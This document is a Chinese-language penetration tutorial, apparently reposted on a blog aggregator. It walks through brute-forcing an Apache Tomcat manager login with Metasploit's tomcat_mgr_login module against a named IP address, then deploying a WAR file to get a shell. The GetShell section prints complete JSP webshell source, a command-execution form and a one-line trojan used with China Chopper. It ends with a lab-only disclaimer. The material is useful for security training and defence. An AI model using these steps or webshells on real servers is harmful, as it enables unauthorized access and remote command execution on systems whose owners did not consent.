利用Metasploit破解Tomcat登錄密碼並通過部署war包獲得Getshell實戰


Apache Tomcat 是世界上使用最廣泛的Java Web應用服務器之一,絕大數人都會使用Tomcat的默認配置。然而默認配置中會有一個向外網開放的Web應用管理器,管理員可以利用它在服務器中啟動、停止、添加和刪除應用。

本次實戰中,我將要執行下面幾個步驟:
1、Msf環境准備
2、實戰演練
3、原理剖析
4、Getshell

Msf環境准備

如果你是第一次運行msf,你需要先啟動數據庫服務並初始化(msf使用的是PostgreSQL數據庫來存儲日志和結果)

啟動PostgreSQL:

1 service postgresql start

創建並初始化數據庫:(kali 默認已經初始化數據庫)

1 msfdb init

然后就可以啟動msf了:

1 msfconsole

實戰演練

在此之前,我想先說一下,在暴力破解賬號密碼時同樣可以使用hydra和burp,不同攻擊都有不同方法,這次我僅僅談論Metasploit下的相關模塊,來進行針對性破解。

1、靶機xxx有一個Tomcat服務,默認為8080端口,瀏覽器訪問:http://219.153.49.228:40033/manager/html

2、可以看到彈出了一個認證界面,要求輸入賬號密碼,拋開實驗環境來談,我並不知道目標賬號密碼,那么現在我可以使用利器metasploit來破解賬號密碼。

 

3、打開終端,輸入msfconsole啟動metasploit:

4、待啟動后,我需要加載Tomcat爆破模塊,輸入以下命令:

 

1 use auxiliary/scanner/http/tomcat_mgr_login

5、我可以使用以下命令,查看該模塊具體需要哪些參數:

1 show options

6、現在可以設置目標IP了,輸入以下內容:

1 set RHOSTS 目標IP地址

7、為了使運行速度快一點(也不能太快),可以使用以下命令設置線程:

1 set THREADS 5

8、為了不使我的服務器因為大量的請求而崩潰,破解速度我設置低一些:

1 set BRUTEFORCE_SPEED 3

9、查看修改后的選項:

1 show option

10、其余的參數使用默認值,設置完成后,輸入run來啟動攻擊

11、經過一些失敗的結果,終於發現了有效的密碼(綠色的結果),因為我默認設置的為admin:123456,很快就成功啦!哈哈哈,但是實際情況中呢,不一定什么時候成功,多半要參與一些社工技巧,這個就自由發揮吧,當然運氣也很重要呀。

12、手動輸入密碼進行驗證,登錄成功!接下來,該嘗試War包部署,並且Getshell了,繼續往下看吧。

原理剖析

默認情況下,Tomcat服務會開啟在8080端口,管理界面目錄在/manager/html,該應用使用的是基礎的HTTP認證。

下面對剛剛使用的Tomcat_mgr_login模塊進行詳解:

 1**BALNK_PASSWORDS**:為每個賬號提供一個空密碼測試 

 2**PASSWORD**:設置這個可以只針對該密碼進行多用戶測試 

 3**PASS_FILE**:輸入你想要使用的密碼字典路徑 

 4**Proxies**:為了避免被檢測到源地址,可以使用代理功能 

 5**RHOSTS**:填寫要被測試的主機地址(可以是多個,以空格分隔。也可以是一個清單文件) 

 6**RPORT**:設置目標Tomcat運行的端口 

 7**STOP_ON_SUCCESS**:當破解成功后停止攻擊 

 8**TARGERURI**:可設置管理界面的目錄路徑  

 9**USERNAME**:設置要測試的用戶名字(可以是單個,也可以是一個字典)10**USER_PASS_FILE**:使用 "用戶名/密碼" 格式的字典文件11**USER_AS_PASS**:嘗試使用測試中的用戶名作為密碼

GetShell

一旦我們成功將進入Tomcat管理界面,就能看到並操作安裝在上面的應用。此外我們還可以上傳自己的應用,既然這樣我們就構造一個能在目標服務器執行命令的WebShell來獲取目標服務器權限。

已經成功進入 Tomcat web應用程序管理界面了,下面讓我開始部署War包,來Getshell吧。

1、首先創建一個名為mt.jsp的文件,並寫入以下內容:

 1<%@ page import="java.util.*,java.io.*"%>
 2<%
 3//
 4// JSP_KIT
 5//
 6// cmd.jsp = Command Execution (unix)
 7//
 8// by: Unknown
 9// modified: 27/06/200310//
11%>
12<HTML><BODY>
13<FORM METHOD="GET" NAME="myform" ACTION="">
14<INPUT TYPE="text" NAME="cmd">
15<INPUT TYPE="submit" VALUE="Send">
16</FORM>
17<pre>
18<%
19if (request.getParameter("cmd") != null) {
20        out.println("Command: " + request.getParameter("cmd") + "<BR>");
21        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
22        OutputStream os = p.getOutputStream();
23        InputStream in = p.getInputStream();
24        DataInputStream dis = new DataInputStream(in);
25        String disr = dis.readLine();
26        while ( disr != null ) {
27                out.println(disr); 
28                disr = dis.readLine(); 
29                }
30        }
31%>
32</pre>
33</BODY></HTML>

2、寫入完成,開始將該文件壓縮為zip文件,名字隨便起,我用的是mt.zip,然后我要將,.zip后綴名改為.war。

3、此時,我war也配置完成啦,進一步就是把它上傳到服務器上了,通過上面看到的Tomcat web應用程序管理里面下的 WAR file to deploy,這時,操作比較簡單。

4、下面,我選擇剛才更改后綴名為war的那個文件,點擊部署,如圖:

選擇文件-->上傳文件-->顯示OK-->上傳成功

 

5、此時,狀態碼顯示為OK,即為部署成功。

6、這個時候,我需要訪問這個文件,以我的示例來說,我要訪問的路徑為http://219.153.49.228:45588/mt/mt.jsp,這個相對路徑,即使你部署war的路徑,index.jsp是我最開始編寫代碼的文件,這是都可以根據你自己來更改,自己知道就好啦,最后顯示如下圖:

7、在執行ip a命令時,如果使用的是火狐瀏覽器,只需將編碼設置為簡體中文即可,如圖:

網上有很多JSP木馬,包括一起功能齊全的大馬,自己可以去找一下,來過過癮,下面是通過菜刀連接一句話木馬。

菜刀連接一句話木馬

1、同上,編寫一個jsp腳本,這次名為mt.jsp,內容寫入:

<%Runtime.getRuntime().exec(request.getParameter("mt"));%>

2、同樣是壓縮為zip文件,並且后綴改為.war,不多贅述,直接上傳,這次我上傳后的路徑為:http://219.153.49.228:45588/mt/mt.jsp www.gendan5.com

3、使用中國菜刀連接,密碼為mt,連接成功。

最后,本次實驗僅是僅供實驗,切勿用於實戰,否則后果自負!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM